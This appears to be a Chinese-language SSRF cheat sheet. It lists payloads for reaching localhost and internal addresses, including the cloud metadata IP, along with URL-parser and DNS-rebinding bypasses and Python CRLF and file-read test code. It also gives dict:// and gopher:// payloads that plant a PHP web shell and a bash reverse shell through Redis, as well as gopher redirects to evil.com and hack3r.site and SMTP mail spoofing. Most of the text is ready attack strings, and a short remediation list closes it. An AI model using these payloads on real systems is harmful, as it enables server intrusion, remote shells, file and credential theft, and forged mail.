ssrf cheatsheet
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞。SSRF是笔者比较喜欢的一个漏洞,因为它见证了攻防两端的对抗过程。本篇文章详细介绍了SSRF的原理,在不同语言中的危害及利用方式,常见的绕过手段,新的攻击手法以及修复方案。
#SSRF 基础
#Payload with localhost
http://127.0.0.1:80
http://localhost:80
http://0.0.0.0:80
本地跳转
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
nip.io
能够根据以下规则自定义跳转
<anything>.<IP Address>.nip.io => IP Address
如 127.0.0.1.nip.io => 127.0.0.1
Bypass localhost
使用 [::]
http://[::]:80/
http://0000::1:80/
http://[0:0:0:0:0:ffff:127.0.0.1]
#Bypass 使用不常见的地址
内网IP段 | |
---|---|
127.0.0.0/8 | 127.0.0.0 ~ 127.255.255.255 |
192.168.0.0 /16 | 192.168.0.0 ~ 192.168.255.255 |
10.0.0.0/8 | 10.0.0.0 ~ 10.255.255.255 |
172.16.0.0/12 | 172.16.0.0 ~ 172.31.255.255 |
http://0/
http://127.1
http://127.0.1
#十进制IP bypass
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254
#URL解析绕过
来自orange在blakhat大会的 A-New-Era-Of-SSRF-Exploiting 提出利用语言自身解析函数差异来绕过检测。
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
#DNS Rebinding
#DNS Rebinding
时间差对应DNS中的机制TTL
,TTL表示DNS里面域名和IP绑定关系的Cache在DNS上存活的最长时间。当我们控制DNS的TTL时,可绕过限制。
Java
java中DNS请求成功的话默认缓存30s(字段为networkaddress.cache.ttl,默认情况下没有设置),失败的默认缓存10s。(缓存时间在 /Library/Java/JavaVirtualMachines/jdk /Contents/Home/jre/lib/security/java.security 中配置)
PHP
在php中则默认没有缓存。
System
Linux默认不会进行DNS缓存,mac和windows会缓存(所以复现的时候不要在mac、windows上尝试)
Other
有些公共DNS服务器,比如114.114.114.114还是会把记录进行缓存,但是8.8.8.8是严格按照DNS协议去管理缓存的,如果设置TTL为0,则不会进行缓存。
#SSRF in Language
#SSRF in Python
在Python中,常用的函数有urllib(urllib2)和requests库。以urllib(urllib2)为例, urllib并不支持gopher,dict协议,所以按照常理来讲ssrf在python中的危害也应该不大,但是当SSRF遇到CRLF,奇妙的事情就发生了。
CVE | 影响范围 |
---|---|
CVE-2019-9740 (urllib/urllib2 CRLF) | urllib2 in Python 2.x through 2.7.16 urllib in Python 3.x through 3.7.3 |
CVE-2019-9947 (urllib/urllib2 CRLF) | urllib2 in Python 2.x through 2.7.16 urllib in Python 3.x through 3.7.3 |
测试代码
import sys
import urllib2
host = "127.0.0.1:7777?a=1 HTTP/1.1\r\nCRLF-injection: test\r\nTEST: 123"
# host = "127.0.0.1:6379\r\nSET hacker 1111\r\n" # for redis
url = "http://"+ host + ":8080/test/?test=a"
try:
info = urllib2.urlopen(url).info()
print(info)
except Exception as e:
print(e)
CVE-2019-9948
除开CRLF之外,urllib还有一个鲜有人知的漏洞CVE-2019-9948,该漏洞只影响urllib,范围在Python 2.x到2.7.16,这个版本间的urllib支持local_file/local-file协议,可以读取任意文件,如果file协议被禁止后,不妨试试这个协议来读取文件。
import urllib
host = "local_file:///etc/passwd"
info = urllib.urlopen(host).read()
print(info)
#SSRF in PHP
在PHP中,经常出现SSRF的函数有cURL
、file_get_contents
等。
cURL | http、https、ftp、gopher 、telnet、dict 、file、ldap |
需要注意
file_get_contents
的gopher协议不能 UrlEncodefile_get_contents
关于Gopher的302跳转有bug,导致利用失败curl/libcurl
7.43上gopher协议存在bug(截断),7.45以上无此bugcurl_exec()
默认不跟踪跳转file_get_contents()
支持php://input协议
#SSRF in JAVA
相对于php,在java中SSRF的利用局限较大,一般利用http协议来探测端口,利用file协议读取任意文件。
常见的类中如HttpURLConnection ,URLConnection ,HttpClients 中只支持sun.net.www.protocol (java 1.8)里的所有协议 | http,https,file,ftp,mailto,jar,netdoc。 |
但这里需要注意一个漏洞,那就是weblogic 的ssrf,这个ssrf是可以攻击可利用的redis拿shell的 | weblogic并没有采用常见的网络库,而是自己实现了一套socket方法,将用户传入的url直接带入到socket接口,没有校验url中的CRLF。 |
#SSRF url协议利用
#常见协议
常见如http的协议:Elastic, CouchDB, Mongodb, Docker 基于文本的协议:FTP, SMTP, Redis, Memcached
#File
file:///etc/passwd
file://\/\/etc/passwd
#dict
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
# Getting a webshell
url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
url=dict://127.0.0.1:6379/SAVE
#LDAP
ldap://localhost:11211/%0astats%0aquit
#Gopher
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH
You didn't say the magic word !
.
QUIT
# Getting a PHP reverse shell
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_save
Gopher HTTP
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
Gopher SMTP - Back connect to 1337
Content of evil.com/redirect.php:
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>
Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher SMTP - send a mail
Content of evil.com/redirect.php:
<?php
$commands = array(
'HELO victim.com',
'MAIL FROM: <admin@victim.com>',
'RCPT To: <sxcurity@oou.us>',
'DATA',
'Subject: @sxcurity!',
'Corben was here, woot woot!',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://0:25/_'.$payload);
?>
#SSRF修复
#SSRF修复
SSRF的修复比较复杂,需要根据业务实际场景来采取不同的方案,例如前面说到的python中不同url库对url的解析就不一致,所以对于有条件的公司,建立一个代理集群是比较可靠的方案,将类似请求外部url的需求整理出来,分为纯外网集群和内网集群进行代理请求。 如果需要从代码层面来修复的话,需要注意一下几点:
- 去除url中的特殊字符 (为了防止利用url parse的特性造成url解析差异)
- 判断是否属于内网ip
- 如果是域名的话,将url中的域名改为ip (防止dns rebinding)
- 请求的url为3中返回的url
- 请求时设置host header为ip (防止以ip请求时,某些网站无法访问)
- 不跟随30x跳转(跟随跳转需要从1开始重新检测,防止30x跳转进行绕过)